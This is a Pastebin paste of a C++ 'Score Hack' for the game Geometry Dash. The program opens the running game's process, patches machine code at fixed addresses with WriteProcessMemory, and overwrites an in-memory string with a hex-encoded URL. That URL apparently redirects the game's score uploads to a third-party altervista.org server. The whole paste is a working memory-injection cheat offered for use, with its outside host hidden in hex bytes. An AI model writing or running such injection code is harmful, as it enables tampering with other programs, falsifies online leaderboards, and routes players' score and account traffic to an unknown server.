mgostih

Score Hack

Nov 2nd, 2015
527
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.16 KB | None | 0 0
  1. #include <iostream>
  2.  
  3. #include <windows.h>
  4.  
  5.  
  6.  
  7. // FindWindow();
  8.  
  9. // GetWindowThreadProcessId();
  10.  
  11. // OpenProcess();
  12.  
  13.  
  14.  
  15. // WriteProcessMemory();
  16.  
  17.  
  18.  
  19. // CloseHandle();
  20.  
  21.  
  22.  
  23. using namespace std;
  24.  
  25.  
  26.  
  27. int main()
  28.  
  29. {
  30.  
  31.     //int newValue = 500;
  32.  
  33.     HWND hWnd = FindWindow(0, "Geometry Dash");
  34.     int isSuccesful2;
  35.     int isSuccesful3;
  36.     DWORD oldvalue;
  37.  
  38.     if (hWnd == 0) {
  39.  
  40.         cerr << "Cannot find window." << endl;
  41.         cin.get();
  42.     } else {
  43.  
  44.         DWORD pId;
  45.  
  46.         GetWindowThreadProcessId(hWnd, &pId);
  47.  
  48.         HANDLE hProc = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, pId);
  49.  
  50.  
  51.  
  52.         if (!hProc) {
  53.             cerr << "Cannot open process." << endl;
  54.             cin.get();
  55.         } else {
  56.             cout << "MgostIH Score Hack is now ready, press enter to inject the hack!" << endl;
  57.             cin.get();
  58.             char bytes[] = "\xE8\x89\xD4\xF9\xFF\x90";
  59.             int isSuccessful = WriteProcessMemory(hProc, (LPVOID)0x00494CCA, &bytes, (DWORD)(sizeof(bytes)-1), NULL);
  60.             char bytes2[] = "\xBF\xA4\x01\x00\x00\x89\xBE\xE0\x01\x00\x00\xC3\x90";
  61.             int isSuccessful2=WriteProcessMemory(hProc, (LPVOID)0x00432158, &bytes2, (DWORD)(sizeof(bytes2)-1), NULL);
  62.             VirtualProtectEx(hProc,(LPVOID)0x005D3A94,256,PAGE_EXECUTE_READWRITE, &oldvalue);
  63.             //cout << GetLastError() << endl;
  64.             char bytes3[] = "\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x73\x68\x74\x6d\x6c\x2e\x61\x6c\x74\x65\x72\x76\x69\x73\x74\x61\x2e\x6f\x72\x67\x2f\x75\x70\x64\x61\x74\x65\x75\x73\x65\x72\x73\x63\x6f\x72\x65\x2e\x70\x68\x70\x00\x00\x00\x00\x00\x00";
  65.             int isSuccessful3=WriteProcessMemory(hProc, (LPVOID)0x005D3A94, &bytes3, (DWORD)(sizeof(bytes3)-1), 0);
  66.             //cout << GetLastError() << endl;
  67.             if ((isSuccessful > 0) & (isSuccessful2 > 0) & (isSuccessful3 > 0)) {
  68.  
  69.                 clog << "Process memory written succesfully. You can close this window." << endl;
  70.                 cin.get();
  71.             } else {
  72.  
  73.                 cerr << "Cannot write process memory." << endl;
  74.                 cin.get();
  75.             }
  76.  
  77.  
  78.  
  79.             CloseHandle(hProc);
  80.  
  81.         }
  82.  
  83.     }
  84.  
  85.  
  86.  
  87.     return 0;
  88.  
  89. }
Add Comment
Please, Sign In to add comment